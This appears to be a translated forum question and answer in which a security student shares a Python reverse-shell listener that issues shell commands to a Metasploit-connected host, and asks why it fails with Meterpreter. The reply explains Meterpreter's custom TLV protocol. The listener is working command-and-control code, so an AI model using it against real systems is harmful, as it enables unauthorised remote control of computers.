Meterpreter处理程序/监听器

时间:2016-01-16 13:11:36

标签: python ruby metasploit

我是网络安全学生,我不是一个破解者,剧本家或类似的东西,我正在使用python meterpreter的监听器,我发现了一个普通的tcp反向处理程序,它正在使用cmd reverse tpc(metasploit),但它无法使用meterpreter reverse tpc(metasploit)...任何人都知道为什么?感谢。

#!/usr/bin/python
# import python modules
from socket import *
HOST = ''                 # '' means bind to all interfaces
PORT = 4444                #  port 
# create our socket handler
s = socket(AF_INET, SOCK_STREAM)
# set is so that when we cancel out we can reuse port
s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
# bind to interface
s.bind((HOST, PORT))
# print we are accepting connections
print "Listening on 0.0.0.0:%s" % str(PORT)
# listen for only 10 connection
s.listen(10)
# accept connections
conn, addr = s.accept()
# print connected by ipaddress
print 'Connected by', addr
# receive initial connection
data = conn.recv(1024)
# start loop
while 1:
     # enter shell command
     command = raw_input("Enter shell command or quit: ")
     # send shell command
     conn.send(command)
     # if we specify quit then break out of loop and close socket
     if command == "quit": break
     # receive output from linux command
     data = conn.recv(1024)
     # print the output of the linux command
     print data
# close socket
conn.close()

1 个答案:

答案 0 :(得分:2)

这不适用于Meterpreter,因为Meterpreter的传输支持自定义协议。为了让你的“听众”能够使用Meterpreter,你还必须实现这个协议。

这些日子里有很好的记录。您可以在Metasploit Github repo的wiki上开始阅读它。有关Meterpreter开始运行的过程的信息,请查看此44con talk(无耻插件),它也涵盖了TLV数据包。您需要支持多种传输,包括SSL包装的TCP。

一旦你的TLV工作正常,你就需要实现Meterpreter支持的所有命令。这不仅包括单次命令(例如getsystemls),您还必须支持频道之类的内容。

我不会撒谎,你正在进行很多的工作。制作一个功能强大的Meterpreter监听器并不是一件容易的事,而且你可以期待它还有更多的东西。事实上,那里没有Python实现已经有了迹象。

祝你好运!